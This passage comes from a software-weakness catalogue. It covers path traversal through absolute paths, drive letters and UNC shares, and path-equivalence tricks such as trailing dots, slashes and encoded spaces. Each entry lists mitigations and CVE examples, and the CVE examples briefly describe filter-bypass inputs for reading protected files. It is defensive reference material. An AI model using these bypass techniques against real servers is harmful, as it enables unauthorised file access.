Effectiveness = High

Phase: Implementation

Strategy = Input Validation






Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-1345	Multiple FTP clients write arbitrary files via absolute paths in server responses https://www.cve.org/CVERecord?id=CVE-2002-1345
CVE-2001-1269	ZIP file extractor allows full path https://www.cve.org/CVERecord?id=CVE-2001-1269
CVE-2002-1818	Path traversal using absolute pathname https://www.cve.org/CVERecord?id=CVE-2002-1818
CVE-2002-1913	Path traversal using absolute pathname https://www.cve.org/CVERecord?id=CVE-2002-1913
CVE-2005-2147	Path traversal using absolute pathname https://www.cve.org/CVERecord?id=CVE-2005-2147
CVE-2000-0614	Arbitrary files may be overwritten via compressed attachments that specify absolute path names for the decompressed output. https://www.cve.org/CVERecord?id=CVE-2000-0614

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2347
MemberOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2377
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			/absolute/pathname/here
CERT C Secure Coding	FIO05-C		Identify files using multiple file attributes
Software Fault Patterns	SFP16		Path Traversal

CWE-38: Path Traversal: '*absolute\pathname\here*'

Weakness ID : 38**Structure :** Simple**Abstraction :** Variant

Description

The product accepts input in the form of a backslash absolute path ('\absolute\pathname\here') without appropriate validation, which can allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		36	Absolute Path Traversal	75

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness = High

Phase: Implementation

Strategy = Input Validation





Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-1999-1263	Mail client allows remote attackers to overwrite arbitrary files via an e-mail message containing a uuencoded attachment that specifies the full pathname for the file to be modified. https://www.cve.org/CVERecord?id=CVE-1999-1263
CVE-2003-0753	Remote attackers can read arbitrary files via a full pathname to the target file in config parameter. https://www.cve.org/CVERecord?id=CVE-2003-0753
CVE-2002-1525	Remote attackers can read arbitrary files via an absolute pathname. https://www.cve.org/CVERecord?id=CVE-2002-1525

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2347
MemberOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2377
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			\absolute\pathname\here ('backslash absolute path')
CERT C Secure Coding Software Fault Patterns	FIO05-C SFP16		Identify files using multiple file attributes Path Traversal

CWE-39: Path Traversal: 'C:dirname'**Weakness ID** : 39**Structure** : Simple**Abstraction** : Variant**Description**

The product accepts input that contains a drive letter or Windows volume letter ('C:dirname') that potentially redirects access to an unintended location or arbitrary file.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	ⓑ	36	Absolute Path Traversal	75

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands <i>The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.</i>	
Integrity	Modify Files or Directories <i>The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.</i>	
Confidentiality	Read Files or Directories <i>The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.</i>	
Availability	DoS: Crash, Exit, or Restart <i>The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.</i>	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory

separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness = High

Phase: Implementation

Strategy = Input Validation





Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2001-0038	Remote attackers can read arbitrary files by specifying the drive letter in the requested URL. https://www.cve.org/CVERecord?id=CVE-2001-0038
CVE-2001-0255	FTP server allows remote attackers to list arbitrary directories by using the "ls" command and including the drive letter name (e.g. C:) in the requested pathname. https://www.cve.org/CVERecord?id=CVE-2001-0255
CVE-2001-0687	FTP server allows a remote attacker to retrieve privileged system information by specifying arbitrary paths. https://www.cve.org/CVERecord?id=CVE-2001-0687
CVE-2001-0933	FTP server allows remote attackers to list the contents of arbitrary drives via a ls command that includes the drive letter as an argument. https://www.cve.org/CVERecord?id=CVE-2001-0933
CVE-2002-0466	Server allows remote attackers to browse arbitrary directories via a full pathname in the arguments to certain dynamic pages. https://www.cve.org/CVERecord?id=CVE-2002-0466
CVE-2002-1483	Remote attackers can read arbitrary files via an HTTP request whose argument is a filename of the form "C:" (Drive letter), "//absolute/path", or ".." . https://www.cve.org/CVERecord?id=CVE-2002-1483
CVE-2004-2488	FTP server read/access arbitrary files using "C:\" filenames https://www.cve.org/CVERecord?id=CVE-2004-2488

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2347
MemberOf		877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2377
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'C:\dirname' or C: (Windows volume or 'drive letter')
CERT C Secure Coding Software Fault Patterns	FIO05-C SFP16		Identify files using multiple file attributes Path Traversal

CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share)

Weakness ID : 40

Structure : Simple

Abstraction : Variant

Description

The product accepts input that identifies a Windows UNC share ('\\UNC\share\name') that potentially redirects access to an unintended location or arbitrary file.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		36	Absolute Path Traversal	75

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For

example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness = High

Phase: Implementation

Strategy = Input Validation



Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2001-0687	FTP server allows a remote attacker to retrieve privileged web server system information by specifying arbitrary paths in the UNC format (\\computername\sharename). https://www.cve.org/CVERecord?id=CVE-2001-0687

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			"\\UNC\share\name\" (Windows UNC share)
Software Fault Patterns	SFP16		Path Traversal

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-41: Improper Resolution of Path Equivalence

Weakness ID : 41
Structure : Simple
Abstraction : Base

Description

The product is vulnerable to file system contents disclosure through path equivalence. Path equivalence involves the use of special characters in file and directory names. The associated manipulations are intended to generate multiple names for the same object.

Extended Description

Path equivalence is usually employed in order to circumvent access controls expressed using an incomplete set of file name or file path representations. This is different from path traversal, wherein the manipulations are performed to generate a name for a different object.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1544
ParentOf		42	Path Equivalence: 'filename.' (Trailing Dot)	92
ParentOf		44	Path Equivalence: 'file.name' (Internal Dot)	94
ParentOf		46	Path Equivalence: 'filename ' (Trailing Space)	96
ParentOf		47	Path Equivalence: ' filename' (Leading Space)	97
ParentOf		48	Path Equivalence: 'file name' (Internal Whitespace)	98
ParentOf		49	Path Equivalence: 'filename/' (Trailing Slash)	99
ParentOf		50	Path Equivalence: '//multiple/leading/slash'	100
ParentOf		51	Path Equivalence: '/multiple//internal/slash'	102
ParentOf		52	Path Equivalence: '/multiple/trailing/slash/'	103
ParentOf		53	Path Equivalence: '\multiple\internal\backslash'	104
ParentOf		54	Path Equivalence: 'filedir\' (Trailing Backslash)	105
ParentOf		55	Path Equivalence: './' (Single Dot Directory)	106
ParentOf		56	Path Equivalence: 'filedir*' (Wildcard)	107
ParentOf		57	Path Equivalence: 'fakedir../readdir/filename'	108
ParentOf		58	Path Equivalence: Windows 8.3 Filename	110
PeerOf		1289	Improper Validation of Unsafe Equivalence in Input	2141
CanFollow		20	Improper Input Validation	20
CanFollow		73	External Control of File Name or Path	132
CanFollow		172	Encoding Error	433

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		1219	File Handling Issues	2480

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	
Access Control	Bypass Protection Mechanism	
<p><i>An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism than an attacker may be able to bypass the mechanism.</i></p>		

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial***Manual Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial***Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial***Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial***Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = High***Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial***Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High***Potential Mitigations****Phase: Implementation***Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2000-1114	Source code disclosure using trailing dot https://www.cve.org/CVERecord?id=CVE-2000-1114
CVE-2002-1986	Source code disclosure using trailing dot https://www.cve.org/CVERecord?id=CVE-2002-1986
CVE-2004-2213	Source code disclosure using trailing dot or trailing encoding space "%20" https://www.cve.org/CVERecord?id=CVE-2004-2213
CVE-2005-3293	Source code disclosure using trailing dot https://www.cve.org/CVERecord?id=CVE-2005-3293
CVE-2004-0061	Bypass directory access restrictions using trailing dot in URL https://www.cve.org/CVERecord?id=CVE-2004-0061
CVE-2000-1133	Bypass directory access restrictions using trailing dot in URL https://www.cve.org/CVERecord?id=CVE-2000-1133
CVE-2001-1386	Bypass check for ".lnk" extension using ".lnk." https://www.cve.org/CVERecord?id=CVE-2001-1386
CVE-2001-0693	Source disclosure via trailing encoded space "%20" https://www.cve.org/CVERecord?id=CVE-2001-0693
CVE-2001-0778	Source disclosure via trailing encoded space "%20" https://www.cve.org/CVERecord?id=CVE-2001-0778
CVE-2001-1248	Source disclosure via trailing encoded space "%20" https://www.cve.org/CVERecord?id=CVE-2001-1248
CVE-2004-0280	Source disclosure via trailing encoded space "%20" https://www.cve.org/CVERecord?id=CVE-2004-0280
CVE-2005-0622	Source disclosure via trailing encoded space "%20" https://www.cve.org/CVERecord?id=CVE-2005-0622
CVE-2005-1656	Source disclosure via trailing encoded space "%20" https://www.cve.org/CVERecord?id=CVE-2005-1656
CVE-2002-1603	Source disclosure via trailing encoded space "%20" https://www.cve.org/CVERecord?id=CVE-2002-1603
CVE-2001-0054	Multi-Factor Vulnerability (MFV), directory traversal and other issues in FTP server using Web encodings such as "%20"; certain manipulations have unusual side effects. https://www.cve.org/CVERecord?id=CVE-2001-0054
CVE-2002-1451	Trailing space ("+" in query string) leads to source code disclosure. https://www.cve.org/CVERecord?id=CVE-2002-1451

Reference	Description
CVE-2000-0293	Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal. https://www.cve.org/CVERecord?id=CVE-2000-0293
CVE-2001-1567	"+" characters in query string converted to spaces before sensitive file/extension (internal space), leading to bypass of access restrictions to the file. https://www.cve.org/CVERecord?id=CVE-2001-1567
CVE-2002-0253	Overlaps infoleak https://www.cve.org/CVERecord?id=CVE-2002-0253
CVE-2001-0446	Application server allows remote attackers to read source code for .jsp files by appending a / to the requested URL. https://www.cve.org/CVERecord?id=CVE-2001-0446
CVE-2004-0334	Bypass Basic Authentication for files using trailing "/" https://www.cve.org/CVERecord?id=CVE-2004-0334
CVE-2001-0893	Read sensitive files with trailing "/" https://www.cve.org/CVERecord?id=CVE-2001-0893
CVE-2001-0892	Web server allows remote attackers to view sensitive files under the document root (such as .htpasswd) via a GET request with a trailing /. https://www.cve.org/CVERecord?id=CVE-2001-0892
CVE-2004-1814	Directory traversal vulnerability in server allows remote attackers to read protected files via .. (dot dot) sequences in an HTTP request. https://www.cve.org/CVERecord?id=CVE-2004-1814
CVE-2002-1483	Read files with full pathname using multiple internal slash. https://www.cve.org/CVERecord?id=CVE-2002-1483
CVE-1999-1456	Server allows remote attackers to read arbitrary files via a GET request with more than one leading / (slash) character in the filename. https://www.cve.org/CVERecord?id=CVE-1999-1456
CVE-2004-0578	Server allows remote attackers to read arbitrary files via leading slash (/) characters in a URL request. https://www.cve.org/CVERecord?id=CVE-2004-0578
CVE-2002-0275	Server allows remote attackers to bypass authentication and read restricted files via an extra / (slash) in the requested URL. https://www.cve.org/CVERecord?id=CVE-2002-0275
CVE-2004-1032	Product allows local users to delete arbitrary files or create arbitrary empty files via a target filename with a large number of leading slash (/) characters. https://www.cve.org/CVERecord?id=CVE-2004-1032
CVE-2002-1238	Server allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as http://www.example.com///file/ . https://www.cve.org/CVERecord?id=CVE-2002-1238
CVE-2004-1878	Product allows remote attackers to bypass authentication, obtain sensitive information, or gain access via a direct request to admin/user.pl preceded by // (double leading slash). https://www.cve.org/CVERecord?id=CVE-2004-1878
CVE-2005-1365	Server allows remote attackers to execute arbitrary commands via a URL with multiple leading "/" (slash) characters and ".." sequences. https://www.cve.org/CVERecord?id=CVE-2005-1365
CVE-2000-1050	Access directory using multiple leading slash. https://www.cve.org/CVERecord?id=CVE-2000-1050
CVE-2001-1072	Bypass access restrictions via multiple leading slash, which causes a regular expression to fail. https://www.cve.org/CVERecord?id=CVE-2001-1072
CVE-2004-0235	Archive extracts to arbitrary files using multiple leading slash in filenames in the archive.

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2004-0235
CVE-2002-1078	Directory listings in web server using multiple trailing slash https://www.cve.org/CVERecord?id=CVE-2002-1078
CVE-2004-0847	ASP.NET allows remote attackers to bypass authentication for .aspx files in restricted directories via a request containing a (1) "\" (backslash) or (2) "%5C" (encoded backslash), aka "Path Validation Vulnerability." https://www.cve.org/CVERecord?id=CVE-2004-0847
CVE-2000-0004	Server allows remote attackers to read source code for executable files by inserting a . (dot) into the URL. https://www.cve.org/CVERecord?id=CVE-2000-0004
CVE-2002-0304	Server allows remote attackers to read password-protected files via a ./ in the HTTP request. https://www.cve.org/CVERecord?id=CVE-2002-0304
CVE-1999-1083	Possibly (could be a cleansing error) https://www.cve.org/CVERecord?id=CVE-1999-1083
CVE-2004-0815	"././etc" cleansed to "///etc" then "/etc" https://www.cve.org/CVERecord?id=CVE-2004-0815
CVE-2002-0112	Server allows remote attackers to view password protected files via ./ in the URL. https://www.cve.org/CVERecord?id=CVE-2002-0112
CVE-2004-0696	List directories using desired path and "" https://www.cve.org/CVERecord?id=CVE-2004-0696
CVE-2002-0433	List files in web server using "*.ext" https://www.cve.org/CVERecord?id=CVE-2002-0433
CVE-2001-1152	Proxy allows remote attackers to bypass denylist restrictions and connect to unauthorized web servers by modifying the requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the desired file is in the parentdir, (3) a ./, or (4) URL-encoded characters. https://www.cve.org/CVERecord?id=CVE-2001-1152
CVE-2000-0191	application check access for restricted URL before canonicalization https://www.cve.org/CVERecord?id=CVE-2000-0191
CVE-2005-1366	CGI source disclosure using "dirname/./cgi-bin" https://www.cve.org/CVERecord?id=CVE-2005-1366
CVE-1999-0012	Multiple web servers allow restriction bypass using 8.3 names instead of long names https://www.cve.org/CVERecord?id=CVE-1999-0012
CVE-2001-0795	Source code disclosure using 8.3 file name. https://www.cve.org/CVERecord?id=CVE-2001-0795
CVE-2005-0471	Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format. https://www.cve.org/CVERecord?id=CVE-2005-0471

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2335

Nature	Type	ID	Name	V	Page
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2347
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2377
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf	C	1404	Comprehensive Categorization: File Handling	1400	2529

Notes

Relationship

Some of these manipulations could be effective in path traversal issues, too.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Path Equivalence
CERT C Secure Coding	FIO02-C		Canonicalize path names originating from untrusted sources

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters

CWE-42: Path Equivalence: 'filename.' (Trailing Dot)

Weakness ID : 42

Structure : Simple

Abstraction : Variant

Description

The product accepts path input in the form of trailing dot ('filedir.') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	162	Improper Neutralization of Trailing Special Elements	417
ChildOf	B	41	Improper Resolution of Path Equivalence	86
ParentOf	V	43	Path Equivalence: 'filename....' (Multiple Trailing Dot)	93

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences



Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Observed Examples

Reference	Description
CVE-2000-1114	Source code disclosure using trailing dot https://www.cve.org/CVERecord?id=CVE-2000-1114
CVE-2002-1986	Source code disclosure using trailing dot https://www.cve.org/CVERecord?id=CVE-2002-1986
CVE-2004-2213	Source code disclosure using trailing dot https://www.cve.org/CVERecord?id=CVE-2004-2213
CVE-2005-3293	Source code disclosure using trailing dot https://www.cve.org/CVERecord?id=CVE-2005-3293
CVE-2004-0061	Bypass directory access restrictions using trailing dot in URL https://www.cve.org/CVERecord?id=CVE-2004-0061
CVE-2000-1133	Bypass directory access restrictions using trailing dot in URL https://www.cve.org/CVERecord?id=CVE-2000-1133
CVE-2001-1386	Bypass check for ".lnk" extension using ".lnk." https://www.cve.org/CVERecord?id=CVE-2001-1386

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Trailing Dot - 'filedir.'
Software Fault Patterns	SFP16		Path Traversal

CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot)

Weakness ID : 43

Structure : Simple

Abstraction : Variant



Description

The product accepts path input in the form of multiple trailing dot ('filedir....') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		163	Improper Neutralization of Multiple Trailing Special Elements	418
ChildOf		42	Path Equivalence: 'filename.' (Trailing Dot)	92

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences



Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Observed Examples

Reference	Description
CVE-2004-0281	Multiple trailing dot allows directory listing https://www.cve.org/CVERecord?id=CVE-2004-0281

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Multiple Trailing Dot - 'filedir....'
